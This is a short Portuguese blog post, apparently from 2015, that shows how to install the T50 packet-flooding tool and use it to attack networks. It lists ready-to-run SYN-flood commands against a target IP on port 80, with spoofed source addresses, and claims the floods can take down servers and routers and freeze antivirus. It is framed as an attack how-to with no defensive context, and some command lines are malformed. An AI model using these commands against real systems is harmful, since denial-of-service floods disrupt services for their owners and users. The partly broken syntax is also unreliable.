

Realizando ataques em redes com T50

[22 de abril de 2015](#) / [s0ph0s](#)

O **T50** é uma forte ferramenta de ataque utilizado em redes que permite enviar milhares de pacotes por segundo, devido a sua flexibilidade de trabalhar com protocolos (HTTP, UDP, TCP, ARP, entre outros). Dependendo da maneira que você o utiliza pode derrubar servidores, roteadores e diversos tipos de conexões entre dispositivos conectado a rede.

Para quem precisa instalar segue a descrição dos seguintes comandos, caso já tenha instalado em sua distribuição Linux pule para a fase 2.

1. Instalação

Podemos instalar manualmente ou utilizando o [Organon](#).

Organon:

```
#organon -i t50
```

Manualmente:

```
#sudo -sH
#cd /opt
#git clone https://github.com/merces/t50.git
#cd t50
#make
#make install
#cd /opt/t50
```

2. Execução

```
#!/t50 IP -flood -turbo -S -turbo -dport 80
```

-dport: Porta do alvo

-protocol: Protocolo que será utilizado

IP: Endereço do alvo

Exemplo de outros comandos para ataque:

```
./t50 192.168.0.104 -flood -turbo -dport 80 -S -s TCP
./t50 192.168.0.104 -flood -turbo -dport 80 -S -s 10.10.0. TCP
```

O comando acima é mais refinado permite simular diversas conexões IPs realizarem o ataque, podendo causar certo travamento nas maiorias dos Antivirus.

Nota: Se tiver utilizando o Kali Linux já vem instalado por padrão, sendo assim o comando nao tem a necessidade de usar *./* ficando desse jeito: `#t50 192.168.0.104 -flood -turbo -dport 80 -S -s 10.10.0. TCP`